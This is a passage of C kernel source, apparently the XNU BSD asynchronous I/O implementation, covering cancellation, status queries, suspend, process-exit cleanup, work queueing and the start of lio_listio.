aio_entry_unlock(entryp); } static int aio_entry_try_workq_remove(aio_workq_entry *entryp) { /* Can only be cancelled if it's still on a work queue */ if (entryp->aio_workq_link.tqe_prev != NULL) { aio_workq_t queue; /* Will have to check again under the lock */ queue = aio_entry_workq(entryp); aio_workq_lock_spin(queue); if (entryp->aio_workq_link.tqe_prev != NULL) { aio_workq_remove_entry_locked(queue, entryp); aio_workq_unlock(queue); return 1; } else { aio_workq_unlock(queue); } } return 0; } static void aio_workq_lock_spin(aio_workq_t wq) { lck_mtx_lock_spin(aio_workq_mutex(wq)); } static void aio_workq_unlock(aio_workq_t wq) { lck_mtx_unlock(aio_workq_mutex(wq)); } static lck_mtx_t* aio_workq_mutex(aio_workq_t wq) { return &wq->aioq_mtx; } /* * aio_cancel - attempt to cancel one or more async IO requests currently * outstanding against file descriptor uap->fd. If uap->aiocbp is not * NULL then only one specific IO is cancelled (if possible). If uap->aiocbp * is NULL then all outstanding async IO request for the given file * descriptor are cancelled (if possible). */ int aio_cancel(proc_t p, struct aio_cancel_args *uap, int *retval ) { struct user_aiocb my_aiocb; int result; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_cancel)) | DBG_FUNC_START, (int)p, (int)uap->aiocbp, 0, 0, 0 ); /* quick check to see if there are any async IO requests queued up */ if (aio_get_all_queues_count() < 1) { result = 0; *retval = AIO_ALLDONE; goto ExitRoutine; } *retval = -1; if ( uap->aiocbp != USER_ADDR_NULL ) { if ( proc_is64bit(p) ) { struct user64_aiocb aiocb64; result = copyin( uap->aiocbp, &aiocb64, sizeof(aiocb64) ); if (result == 0 ) do_munge_aiocb_user64_to_user(&aiocb64, &my_aiocb); } else { struct user32_aiocb aiocb32; result = copyin( uap->aiocbp, &aiocb32, sizeof(aiocb32) ); if ( result == 0 ) do_munge_aiocb_user32_to_user( &aiocb32, &my_aiocb ); } if ( result != 0 ) { result = EAGAIN; goto ExitRoutine; } /* NOTE - POSIX standard says a mismatch between the file */ /* descriptor passed in and the file descriptor embedded in */ /* the aiocb causes unspecified results. We return EBADF in */ /* that situation. */ if ( uap->fd != my_aiocb.aio_fildes ) { result = EBADF; goto ExitRoutine; } } aio_proc_lock(p); result = do_aio_cancel_locked( p, uap->fd, uap->aiocbp, 0, FALSE ); ASSERT_AIO_PROC_LOCK_OWNED(p); aio_proc_unlock(p); if ( result != -1 ) { *retval = result; result = 0; goto ExitRoutine; } result = EBADF; ExitRoutine: KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_cancel)) | DBG_FUNC_END, (int)p, (int)uap->aiocbp, result, 0, 0 ); return( result ); } /* aio_cancel */ /* * _aio_close - internal function used to clean up async IO requests for * a file descriptor that is closing. * THIS MAY BLOCK. */ __private_extern__ void _aio_close(proc_t p, int fd ) { int error; /* quick check to see if there are any async IO requests queued up */ if (aio_get_all_queues_count() < 1) { return; } KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_close)) | DBG_FUNC_START, (int)p, fd, 0, 0, 0 ); /* cancel all async IO requests on our todo queues for this file descriptor */ aio_proc_lock(p); error = do_aio_cancel_locked( p, fd, 0, AIO_CLOSE_WAIT, FALSE ); ASSERT_AIO_PROC_LOCK_OWNED(p); if ( error == AIO_NOTCANCELED ) { /* * AIO_NOTCANCELED is returned when we find an aio request for this process * and file descriptor on the active async IO queue. Active requests cannot * be cancelled so we must wait for them to complete. We will get a special * wake up call on our channel used to sleep for ALL active requests to * complete. This sleep channel (proc.AIO_CLEANUP_SLEEP_CHAN) is only used * when we must wait for all active aio requests. */ KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_close_sleep)) | DBG_FUNC_NONE, (int)p, fd, 0, 0, 0 ); while (aio_proc_active_requests_for_file(p, fd) > 0) { msleep(&p->AIO_CLEANUP_SLEEP_CHAN, aio_proc_mutex(p), PRIBIO, "aio_close", 0 ); } } aio_proc_unlock(p); KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_close)) | DBG_FUNC_END, (int)p, fd, 0, 0, 0 ); return; } /* _aio_close */ /* * aio_error - return the error status associated with the async IO * request referred to by uap->aiocbp. The error status is the errno * value that would be set by the corresponding IO request (read, wrtie, * fdatasync, or sync). */ int aio_error(proc_t p, struct aio_error_args *uap, int *retval ) { aio_workq_entry *entryp; int error; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_error)) | DBG_FUNC_START, (int)p, (int)uap->aiocbp, 0, 0, 0 ); /* see if there are any aios to check */ if (aio_get_all_queues_count() < 1) { return EINVAL; } aio_proc_lock(p); /* look for a match on our queue of async IO requests that have completed */ TAILQ_FOREACH( entryp, &p->p_aio_doneq, aio_proc_link) { if ( entryp->uaiocbp == uap->aiocbp ) { ASSERT_AIO_FROM_PROC(entryp, p); aio_entry_lock_spin(entryp); *retval = entryp->errorval; error = 0; aio_entry_unlock(entryp); KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_error_val)) | DBG_FUNC_NONE, (int)p, (int)uap->aiocbp, *retval, 0, 0 ); goto ExitRoutine; } } /* look for a match on our queue of active async IO requests */ TAILQ_FOREACH( entryp, &p->p_aio_activeq, aio_proc_link) { if ( entryp->uaiocbp == uap->aiocbp ) { ASSERT_AIO_FROM_PROC(entryp, p); *retval = EINPROGRESS; error = 0; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_error_activeq)) | DBG_FUNC_NONE, (int)p, (int)uap->aiocbp, *retval, 0, 0 ); goto ExitRoutine; } } error = EINVAL; ExitRoutine: KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_error)) | DBG_FUNC_END, (int)p, (int)uap->aiocbp, error, 0, 0 ); aio_proc_unlock(p); return( error ); } /* aio_error */ /* * aio_fsync - asynchronously force all IO operations associated * with the file indicated by the file descriptor (uap->aiocbp->aio_fildes) and * queued at the time of the call to the synchronized completion state. * NOTE - we do not support op O_DSYNC at this point since we do not support the * fdatasync() call. */ int aio_fsync(proc_t p, struct aio_fsync_args *uap, int *retval ) { int error; int fsync_kind; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_fsync)) | DBG_FUNC_START, (int)p, (int)uap->aiocbp, uap->op, 0, 0 ); *retval = 0; /* 0 := O_SYNC for binary backward compatibility with Panther */ if (uap->op == O_SYNC || uap->op == 0) fsync_kind = AIO_FSYNC; else if ( uap->op == O_DSYNC ) fsync_kind = AIO_DSYNC; else { *retval = -1; error = EINVAL; goto ExitRoutine; } error = aio_queue_async_request( p, uap->aiocbp, fsync_kind ); if ( error != 0 ) *retval = -1; ExitRoutine: KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_fsync)) | DBG_FUNC_END, (int)p, (int)uap->aiocbp, error, 0, 0 ); return( error ); } /* aio_fsync */ /* aio_read - asynchronously read uap->aiocbp->aio_nbytes bytes from the * file descriptor (uap->aiocbp->aio_fildes) into the buffer * (uap->aiocbp->aio_buf). */ int aio_read(proc_t p, struct aio_read_args *uap, int *retval ) { int error; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_read)) | DBG_FUNC_START, (int)p, (int)uap->aiocbp, 0, 0, 0 ); *retval = 0; error = aio_queue_async_request( p, uap->aiocbp, AIO_READ ); if ( error != 0 ) *retval = -1; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_read)) | DBG_FUNC_END, (int)p, (int)uap->aiocbp, error, 0, 0 ); return( error ); } /* aio_read */ /* * aio_return - return the return status associated with the async IO * request referred to by uap->aiocbp. The return status is the value * that would be returned by corresponding IO request (read, write, * fdatasync, or sync). This is where we release kernel resources * held for async IO call associated with the given aiocb pointer. */ int aio_return(proc_t p, struct aio_return_args *uap, user_ssize_t *retval ) { aio_workq_entry *entryp; int error; boolean_t proc_lock_held = FALSE; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_return)) | DBG_FUNC_START, (int)p, (int)uap->aiocbp, 0, 0, 0 ); /* See if there are any entries to check */ if (aio_get_all_queues_count() < 1) { error = EINVAL; goto ExitRoutine; } aio_proc_lock(p); proc_lock_held = TRUE; *retval = 0; /* look for a match on our queue of async IO requests that have completed */ TAILQ_FOREACH( entryp, &p->p_aio_doneq, aio_proc_link) { ASSERT_AIO_FROM_PROC(entryp, p); if ( entryp->uaiocbp == uap->aiocbp ) { /* Done and valid for aio_return(), pull it off the list */ aio_proc_remove_done_locked(p, entryp); /* Drop the proc lock, but keep the entry locked */ aio_entry_lock(entryp); aio_proc_unlock(p); proc_lock_held = FALSE; *retval = entryp->returnval; error = 0; /* No references and off all lists, safe to free */ if (entryp->aio_refcount == 0) { aio_entry_unlock(entryp); aio_free_request(entryp); } else { /* Whoever has the refcount will have to free it */ entryp->flags |= AIO_DO_FREE; aio_entry_unlock(entryp); } KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_return_val)) | DBG_FUNC_NONE, (int)p, (int)uap->aiocbp, *retval, 0, 0 ); goto ExitRoutine; } } /* look for a match on our queue of active async IO requests */ TAILQ_FOREACH( entryp, &p->p_aio_activeq, aio_proc_link) { ASSERT_AIO_FROM_PROC(entryp, p); if ( entryp->uaiocbp == uap->aiocbp ) { error = EINPROGRESS; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_return_activeq)) | DBG_FUNC_NONE, (int)p, (int)uap->aiocbp, *retval, 0, 0 ); goto ExitRoutine; } } error = EINVAL; ExitRoutine: if (proc_lock_held) aio_proc_unlock(p); KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_return)) | DBG_FUNC_END, (int)p, (int)uap->aiocbp, error, 0, 0 ); return( error ); } /* aio_return */ /* * _aio_exec - internal function used to clean up async IO requests for * a process that is going away due to exec(). We cancel any async IOs * we can and wait for those already active. We also disable signaling * for cancelled or active aio requests that complete. * This routine MAY block! */ __private_extern__ void _aio_exec(proc_t p ) { KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_exec)) | DBG_FUNC_START, (int)p, 0, 0, 0, 0 ); _aio_exit( p ); KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_exec)) | DBG_FUNC_END, (int)p, 0, 0, 0, 0 ); return; } /* _aio_exec */ /* * _aio_exit - internal function used to clean up async IO requests for * a process that is terminating (via exit() or exec() ). We cancel any async IOs * we can and wait for those already active. We also disable signaling * for cancelled or active aio requests that complete. This routine MAY block! */ __private_extern__ void _aio_exit(proc_t p ) { int error; aio_workq_entry *entryp; /* quick check to see if there are any async IO requests queued up */ if (aio_get_all_queues_count() < 1) { return; } KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_exit)) | DBG_FUNC_START, (int)p, 0, 0, 0, 0 ); aio_proc_lock(p); /* * cancel async IO requests on the todo work queue and wait for those * already active to complete. */ error = do_aio_cancel_locked( p, 0, 0, AIO_EXIT_WAIT, TRUE ); ASSERT_AIO_PROC_LOCK_OWNED(p); if ( error == AIO_NOTCANCELED ) { /* * AIO_NOTCANCELED is returned when we find an aio request for this process * on the active async IO queue. Active requests cannot be cancelled so we * must wait for them to complete. We will get a special wake up call on * our channel used to sleep for ALL active requests to complete. This sleep * channel (proc.AIO_CLEANUP_SLEEP_CHAN) is only used when we must wait for all * active aio requests. */ KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_exit_sleep)) | DBG_FUNC_NONE, (int)p, 0, 0, 0, 0 ); while (p->p_aio_active_count != 0) { msleep(&p->AIO_CLEANUP_SLEEP_CHAN, aio_proc_mutex(p), PRIBIO, "aio_exit", 0 ); } } if (p->p_aio_active_count != 0) { panic("Exiting process has %d active AIOs after cancellation has completed.\n", p->p_aio_active_count); } /* release all aio resources used by this process */ entryp = TAILQ_FIRST( &p->p_aio_doneq ); while ( entryp != NULL ) { ASSERT_AIO_FROM_PROC(entryp, p); aio_workq_entry *next_entryp; next_entryp = TAILQ_NEXT( entryp, aio_proc_link); aio_proc_remove_done_locked(p, entryp); /* we cannot free requests that are still completing */ aio_entry_lock_spin(entryp); if (entryp->aio_refcount == 0) { aio_proc_unlock(p); aio_entry_unlock(entryp); aio_free_request(entryp); /* need to start over since aio_doneq may have been */ /* changed while we were away. */ aio_proc_lock(p); entryp = TAILQ_FIRST( &p->p_aio_doneq ); continue; } else { /* whoever has the reference will have to do the free */ entryp->flags |= AIO_DO_FREE; } aio_entry_unlock(entryp); entryp = next_entryp; } aio_proc_unlock(p); KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_exit)) | DBG_FUNC_END, (int)p, 0, 0, 0, 0 ); return; } /* _aio_exit */ static boolean_t should_cancel(aio_workq_entry *entryp, user_addr_t aiocbp, int fd) { if ( (aiocbp == USER_ADDR_NULL && fd == 0) || (aiocbp != USER_ADDR_NULL && entryp->uaiocbp == aiocbp) || (aiocbp == USER_ADDR_NULL && fd == entryp->aiocb.aio_fildes) ) { return TRUE; } return FALSE; } /* * do_aio_cancel_locked - cancel async IO requests (if possible). We get called by * aio_cancel, close, and at exit. * There are three modes of operation: 1) cancel all async IOs for a process - * fd is 0 and aiocbp is NULL 2) cancel all async IOs for file descriptor - fd * is > 0 and aiocbp is NULL 3) cancel one async IO associated with the given * aiocbp. * Returns -1 if no matches were found, AIO_CANCELED when we cancelled all * target async IO requests, AIO_NOTCANCELED if we could not cancel all * target async IO requests, and AIO_ALLDONE if all target async IO requests * were already complete. * WARNING - do not deference aiocbp in this routine, it may point to user * land data that has not been copied in (when called from aio_cancel() ) * * Called with proc locked, and returns the same way. */ static int do_aio_cancel_locked(proc_t p, int fd, user_addr_t aiocbp, int wait_for_completion, boolean_t disable_notification ) { ASSERT_AIO_PROC_LOCK_OWNED(p); aio_workq_entry *entryp; int result; result = -1; /* look for a match on our queue of async todo work. */ entryp = TAILQ_FIRST(&p->p_aio_activeq); while ( entryp != NULL ) { ASSERT_AIO_FROM_PROC(entryp, p); aio_workq_entry *next_entryp; next_entryp = TAILQ_NEXT( entryp, aio_proc_link); if (!should_cancel(entryp, aiocbp, fd)) { entryp = next_entryp; continue; } /* Can only be cancelled if it's still on a work queue */ if (aio_entry_try_workq_remove(entryp) != 0) { /* Have removed from workq. Update entry state and take a ref */ aio_entry_update_for_cancel(entryp, TRUE, 0, disable_notification); /* Put on the proc done queue and update counts, then unlock the proc */ aio_proc_move_done_locked(p, entryp); aio_proc_unlock(p); /* Now it's officially cancelled. Do the completion */ result = AIO_CANCELED; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_cancel_async_workq)) | DBG_FUNC_NONE, (int)entryp->procp, (int)entryp->uaiocbp, fd, 0, 0 ); do_aio_completion(entryp); /* This will free if the aio_return() has already happened ... */ aio_entry_unref(entryp); aio_proc_lock(p); if ( aiocbp != USER_ADDR_NULL ) { return( result ); } /* * Restart from the head of the proc active queue since it * may have been changed while we were away doing completion * processing. * * Note that if we found an uncancellable AIO before, we will * either find it again or discover that it's been completed, * so resetting the result will not cause us to return success * despite outstanding AIOs. */ entryp = TAILQ_FIRST(&p->p_aio_activeq); result = -1; /* As if beginning anew */ } else { /* * It's been taken off the active queue already, i.e. is in flight. * All we can do is ask for notification. */ result = AIO_NOTCANCELED; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_cancel_activeq)) | DBG_FUNC_NONE, (int)entryp->procp, (int)entryp->uaiocbp, fd, 0, 0 ); /* Mark for waiting and such; will not take a ref if "cancelled" arg is FALSE */ aio_entry_update_for_cancel(entryp, FALSE, wait_for_completion, disable_notification); if ( aiocbp != USER_ADDR_NULL ) { return( result ); } entryp = next_entryp; } } /* while... */ /* * if we didn't find any matches on the todo or active queues then look for a * match on our queue of async IO requests that have completed and if found * return AIO_ALLDONE result. * * Proc AIO lock is still held. */ if ( result == -1 ) { TAILQ_FOREACH(entryp, &p->p_aio_doneq, aio_proc_link) { ASSERT_AIO_FROM_PROC(entryp, p); if (should_cancel(entryp, aiocbp, fd)) { result = AIO_ALLDONE; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_cancel_doneq)) | DBG_FUNC_NONE, (int)entryp->procp, (int)entryp->uaiocbp, fd, 0, 0 ); if ( aiocbp != USER_ADDR_NULL ) { return( result ); } } } } return( result ); } /* do_aio_cancel_locked */ /* * aio_suspend - suspend the calling thread until at least one of the async * IO operations referenced by uap->aiocblist has completed, until a signal * interrupts the function, or uap->timeoutp time interval (optional) has * passed. * Returns 0 if one or more async IOs have completed else -1 and errno is * set appropriately - EAGAIN if timeout elapses or EINTR if an interrupt * woke us up. */ int aio_suspend(proc_t p, struct aio_suspend_args *uap, int *retval ) { __pthread_testcancel(1); return(aio_suspend_nocancel(p, (struct aio_suspend_nocancel_args *)uap, retval)); } int aio_suspend_nocancel(proc_t p, struct aio_suspend_nocancel_args *uap, int *retval ) { int error; int i, count; uint64_t abstime; struct user_timespec ts; aio_workq_entry *entryp; user_addr_t *aiocbpp; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_suspend)) | DBG_FUNC_START, (int)p, uap->nent, 0, 0, 0 ); *retval = -1; abstime = 0; aiocbpp = NULL; count = aio_get_all_queues_count( ); if ( count < 1 ) { error = EINVAL; goto ExitThisRoutine; } if ( uap->nent < 1 || uap->nent > aio_max_requests_per_process ) { error = EINVAL; goto ExitThisRoutine; } if ( uap->timeoutp != USER_ADDR_NULL ) { if ( proc_is64bit(p) ) { struct user64_timespec temp; error = copyin( uap->timeoutp, &temp, sizeof(temp) ); if ( error == 0 ) { ts.tv_sec = temp.tv_sec; ts.tv_nsec = temp.tv_nsec; } } else { struct user32_timespec temp; error = copyin( uap->timeoutp, &temp, sizeof(temp) ); if ( error == 0 ) { ts.tv_sec = temp.tv_sec; ts.tv_nsec = temp.tv_nsec; } } if ( error != 0 ) { error = EAGAIN; goto ExitThisRoutine; } if ( ts.tv_sec < 0 || ts.tv_nsec < 0 || ts.tv_nsec >= 1000000000 ) { error = EINVAL; goto ExitThisRoutine; } nanoseconds_to_absolutetime( (uint64_t)ts.tv_sec * NSEC_PER_SEC + ts.tv_nsec, &abstime ); clock_absolutetime_interval_to_deadline( abstime, &abstime ); } aiocbpp = aio_copy_in_list(p, uap->aiocblist, uap->nent); if ( aiocbpp == NULL ) { error = EAGAIN; goto ExitThisRoutine; } /* check list of aio requests to see if any have completed */ check_for_our_aiocbp: aio_proc_lock_spin(p); for ( i = 0; i < uap->nent; i++ ) { user_addr_t aiocbp; /* NULL elements are legal so check for 'em */ aiocbp = *(aiocbpp + i); if ( aiocbp == USER_ADDR_NULL ) continue; /* return immediately if any aio request in the list is done */ TAILQ_FOREACH( entryp, &p->p_aio_doneq, aio_proc_link) { ASSERT_AIO_FROM_PROC(entryp, p); if ( entryp->uaiocbp == aiocbp ) { aio_proc_unlock(p); *retval = 0; error = 0; goto ExitThisRoutine; } } } /* for ( ; i < uap->nent; ) */ KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_suspend_sleep)) | DBG_FUNC_NONE, (int)p, uap->nent, 0, 0, 0 ); /* * wait for an async IO to complete or a signal fires or timeout expires. * we return EAGAIN (35) for timeout expiration and EINTR (4) when a signal * interrupts us. If an async IO completes before a signal fires or our * timeout expires, we get a wakeup call from aio_work_thread(). */ error = msleep1(&p->AIO_SUSPEND_SLEEP_CHAN, aio_proc_mutex(p), PCATCH | PWAIT | PDROP, "aio_suspend", abstime); /* XXX better priority? */ if ( error == 0 ) { /* * got our wakeup call from aio_work_thread(). * Since we can get a wakeup on this channel from another thread in the * same process we head back up to make sure this is for the correct aiocbp. * If it is the correct aiocbp we will return from where we do the check * (see entryp->uaiocbp == aiocbp after check_for_our_aiocbp label) * else we will fall out and just sleep again. */ goto check_for_our_aiocbp; } else if ( error == EWOULDBLOCK ) { /* our timeout expired */ error = EAGAIN; } else { /* we were interrupted */ error = EINTR; } ExitThisRoutine: if ( aiocbpp != NULL ) FREE( aiocbpp, M_TEMP ); KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_suspend)) | DBG_FUNC_END, (int)p, uap->nent, error, 0, 0 ); return( error ); } /* aio_suspend */ /* aio_write - asynchronously write uap->aiocbp->aio_nbytes bytes to the * file descriptor (uap->aiocbp->aio_fildes) from the buffer * (uap->aiocbp->aio_buf). */ int aio_write(proc_t p, struct aio_write_args *uap, int *retval ) { int error; *retval = 0; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_write)) | DBG_FUNC_START, (int)p, (int)uap->aiocbp, 0, 0, 0 ); error = aio_queue_async_request( p, uap->aiocbp, AIO_WRITE ); if ( error != 0 ) *retval = -1; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_write)) | DBG_FUNC_END, (int)p, (int)uap->aiocbp, error, 0, 0 ); return( error ); } /* aio_write */ static user_addr_t * aio_copy_in_list(proc_t procp, user_addr_t aiocblist, int nent) { user_addr_t *aiocbpp; int i, result; /* we reserve enough space for largest possible pointer size */ MALLOC( aiocbpp, user_addr_t *, (nent * sizeof(user_addr_t)), M_TEMP, M_WAITOK ); if ( aiocbpp == NULL ) goto err; /* copyin our aiocb pointers from list */ result = copyin( aiocblist, aiocbpp, proc_is64bit(procp) ? (nent * sizeof(user64_addr_t)) : (nent * sizeof(user32_addr_t)) ); if ( result) { FREE( aiocbpp, M_TEMP ); aiocbpp = NULL; goto err; } /* * We depend on a list of user_addr_t's so we need to * munge and expand when these pointers came from a * 32-bit process */ if ( !proc_is64bit(procp) ) { /* copy from last to first to deal with overlap */ user32_addr_t *my_ptrp = ((user32_addr_t *)aiocbpp) + (nent - 1); user_addr_t *my_addrp = aiocbpp + (nent - 1); for (i = 0; i < nent; i++, my_ptrp--, my_addrp--) { *my_addrp = (user_addr_t) (*my_ptrp); } } err: return (aiocbpp); } static int aio_copy_in_sigev(proc_t procp, user_addr_t sigp, struct user_sigevent *sigev) { int result = 0; if (sigp == USER_ADDR_NULL) goto out; /* * We need to munge aio_sigevent since it contains pointers. * Since we do not know if sigev_value is an int or a ptr we do * NOT cast the ptr to a user_addr_t. This means if we send * this info back to user space we need to remember sigev_value * was not expanded for the 32-bit case. * * Notes: This does NOT affect us since we don't support * sigev_value yet in the aio context. */ if ( proc_is64bit(procp) ) { struct user64_sigevent sigevent64; result = copyin( sigp, &sigevent64, sizeof(sigevent64) ); if ( result == 0 ) { sigev->sigev_notify = sigevent64.sigev_notify; sigev->sigev_signo = sigevent64.sigev_signo; sigev->sigev_value.size_equivalent.sival_int = sigevent64.sigev_value.size_equivalent.sival_int; sigev->sigev_notify_function = sigevent64.sigev_notify_function; sigev->sigev_notify_attributes = sigevent64.sigev_notify_attributes; } } else { struct user32_sigevent sigevent32; result = copyin( sigp, &sigevent32, sizeof(sigevent32) ); if ( result == 0 ) { sigev->sigev_notify = sigevent32.sigev_notify; sigev->sigev_signo = sigevent32.sigev_signo; sigev->sigev_value.size_equivalent.sival_int = sigevent32.sigev_value.sival_int; sigev->sigev_notify_function = CAST_USER_ADDR_T(sigevent32.sigev_notify_function); sigev->sigev_notify_attributes = CAST_USER_ADDR_T(sigevent32.sigev_notify_attributes); } } if ( result != 0 ) { result = EAGAIN; } out: return (result); } /* * aio_enqueue_work * * Queue up the entry on the aio asynchronous work queue in priority order * based on the relative priority of the request. We calculate the relative * priority using the nice value of the caller and the value * * Parameters: procp Process queueing the I/O * entryp The work queue entry being queued * * Returns: (void) No failure modes * * Notes: This function is used for both lio_listio and aio * * XXX: At some point, we may have to consider thread priority * rather than process priority, but we don't maintain the * adjusted priority for threads the POSIX way. * * * Called with proc locked. */ static void aio_enqueue_work( proc_t procp, aio_workq_entry *entryp, int proc_locked) { #if 0 aio_workq_entry *my_entryp; /* used for insertion sort */ #endif /* 0 */ aio_workq_t queue = aio_entry_workq(entryp); if (proc_locked == 0) { aio_proc_lock(procp); } ASSERT_AIO_PROC_LOCK_OWNED(procp); /* Onto proc queue */ TAILQ_INSERT_TAIL(&procp->p_aio_activeq, entryp, aio_proc_link); procp->p_aio_active_count++; procp->p_aio_total_count++; /* And work queue */ aio_workq_lock_spin(queue); aio_workq_add_entry_locked(queue, entryp); waitq_wakeup64_one(&queue->aioq_waitq, CAST_EVENT64_T(queue), THREAD_AWAKENED, WAITQ_ALL_PRIORITIES); aio_workq_unlock(queue); if (proc_locked == 0) { aio_proc_unlock(procp); } #if 0 /* * Procedure: * * (1) The nice value is in the range PRIO_MIN..PRIO_MAX [-20..20] * (2) The normalized nice value is in the range 0..((2 * NZERO) - 1) * which is [0..39], with 0 not being used. In nice values, the * lower the nice value, the higher the priority. * (3) The normalized scheduling prioritiy is the highest nice value * minus the current nice value. In I/O scheduling priority, the * higher the value the lower the priority, so it is the inverse * of the nice value (the higher the number, the higher the I/O * priority). * (4) From the normalized scheduling priority, we subtract the * request priority to get the request priority value number; * this means that requests are only capable of depressing their * priority relative to other requests, */ entryp->priority = (((2 * NZERO) - 1) - procp->p_nice); /* only premit depressing the priority */ if (entryp->aiocb.aio_reqprio < 0) entryp->aiocb.aio_reqprio = 0; if (entryp->aiocb.aio_reqprio > 0) { entryp->priority -= entryp->aiocb.aio_reqprio; if (entryp->priority < 0) entryp->priority = 0; } /* Insertion sort the entry; lowest ->priority to highest */ TAILQ_FOREACH(my_entryp, &aio_anchor.aio_async_workq, aio_workq_link) { if ( entryp->priority <= my_entryp->priority) { TAILQ_INSERT_BEFORE(my_entryp, entryp, aio_workq_link); break; } } if (my_entryp == NULL) TAILQ_INSERT_TAIL( &aio_anchor.aio_async_workq, entryp, aio_workq_link ); #endif /* 0 */ } /* * lio_listio - initiate a list of IO requests. We process the list of * aiocbs either synchronously (mode == LIO_WAIT) or asynchronously * (mode == LIO_NOWAIT). * * The caller gets error and return status for each aiocb in the list * via aio_error and aio_return. We must keep completed requests until * released by the aio_return call. */ int lio_listio(proc_t p, struct lio_listio_args *uap, int *retval ) { int i; int call_result; int result; int old_count; aio_workq_entry **entryp_listp; user_addr_t *aiocbpp; struct user_sigevent aiosigev; aio_lio_context *lio_context; boolean_t free_context = FALSE; uint32_t *paio_offset; uint32_t *paio_nbytes; KERNEL_DEBUG( (BSDDBG_CODE(DBG_BSD_AIO, AIO_listio)) | DBG_FUNC_START, (int)p, uap->nent, uap->mode, 0, 0 ); entryp_listp = NULL; lio_context = NULL; aiocbpp = NULL; call_result = -1; *retval = -1; if ( !(uap->mode == LIO_NOWAIT || uap->mode == LIO_WAIT) ) { call_result = EINVAL; goto ExitRoutine; } if ( uap->nent < 1 || uap->nent > AIO_LISTIO_MAX ) { call_result = EINVAL; goto ExitRoutine; } /* * allocate a list of aio_workq_entry pointers that we will use * to queue up all our requests at once while holding our lock. */ MALLOC( entryp_listp, void *, (uap->nent * sizeof(aio_workq_entry *)), M_TEMP, M_WAITOK ); if ( entryp_listp == NULL ) { call_result = EAGAIN; goto ExitRoutine; } MALLOC( lio_context, aio_lio_context*, sizeof(aio_lio_context), M_TEMP, M_WAITOK ); if ( lio_context == NULL ) { call_result = EAGAIN; goto ExitRoutine; } #if DEBUG OSIncrementAtomic(&lio_contexts_alloced); #endif /* DEBUG */ bzero(lio_context, sizeof(aio_lio_context)); aiocbpp = aio_copy_in_list(p, uap->aiocblist, uap->nent); if ( aiocbpp == NULL ) { call_result = EAGAIN; goto ExitRoutine; } /* * Use sigevent passed in to lio_listio for each of our calls, but * only do completion notification after the last request completes. */ bzero(&aiosigev, sizeof(aiosigev)); /* Only copy in an sigev if the user supplied one */ if (uap->sigp != USER_ADDR_NULL) { call_result = aio_copy_in_sigev(p, uap->sigp, &aiosigev); if ( call_result) goto ExitRoutine; } /* process list of aio requests */ lio_context->io_issued = uap->nent; lio_context->io_waiter = uap->mode == LIO_WAIT ? 1 : 0; /* Should it be freed by last AIO */ for ( i = 0; i < uap->nent; i++ ) { user_addr_t my_aiocbp; aio_workq_entry *entryp; *(entryp_listp + i) = NULL; my_aiocbp = *(aiocbpp + i); /* NULL elements are legal so check for 'em */ if ( my_aiocbp == USER_ADDR_NULL ) { aio_proc_lock_spin(p); lio_context->io_issued--; aio_proc_unlock(p); continue; } /* * We use lio_context to mark IO requests for delayed completion * processing which means we wait until all IO requests in the * group have completed before we either return to the caller * when mode is LIO_WAIT or signal user when mode is LIO_NOWAIT. * * We use the address of the lio_context for this, since it is * unique in the address space. */ result = lio_create_entry( p, my_aiocbp, lio_context, (entryp_listp + i) ); if ( result != 0 && call_result == -1 ) call_result = result; /* NULL elements are legal so check for 'em */ entryp = *(entryp_listp + i); if ( entryp == NULL ) { aio_proc_lock_spin(p); lio_context->io_issued--; aio_proc_unlock(p); continue; } if ( uap->mode == LIO_NOWAIT ) { /* Set signal hander, if any */ entryp->aiocb.aio_sigevent = aiosigev; } else { /* flag that this thread blocks pending completion */ entryp->flags |= AIO_LIO_NOTIFY; } /* check our aio limits to throttle bad or rude user land behavior */ old_count = aio_increment_total_count(); aio_proc_lock_spin(p); if ( old_count >= aio_max_requests || aio_get_process_count( entryp->procp ) >= aio_max_requests_per_process || is_already_queued( entryp->procp, entryp->uaiocbp ) == TRUE ) { lio_context->io_issued--; aio_proc_unlock(p); aio_decrement_total_count(); if ( call_result == -1 ) call_result = EAGAIN; aio_free_request(entryp); entryp_listp[i] = NULL; continue; } lck_mtx_convert_spin(aio_proc_mutex(p)); aio_enqueue_work(p, entryp, 1); aio_proc_unlock(p); KERNEL_DEBUG_CONSTANT( (BSDDBG_CODE(DBG_BSD_AIO, AIO_work_queued)) | DBG_FUNC_START, 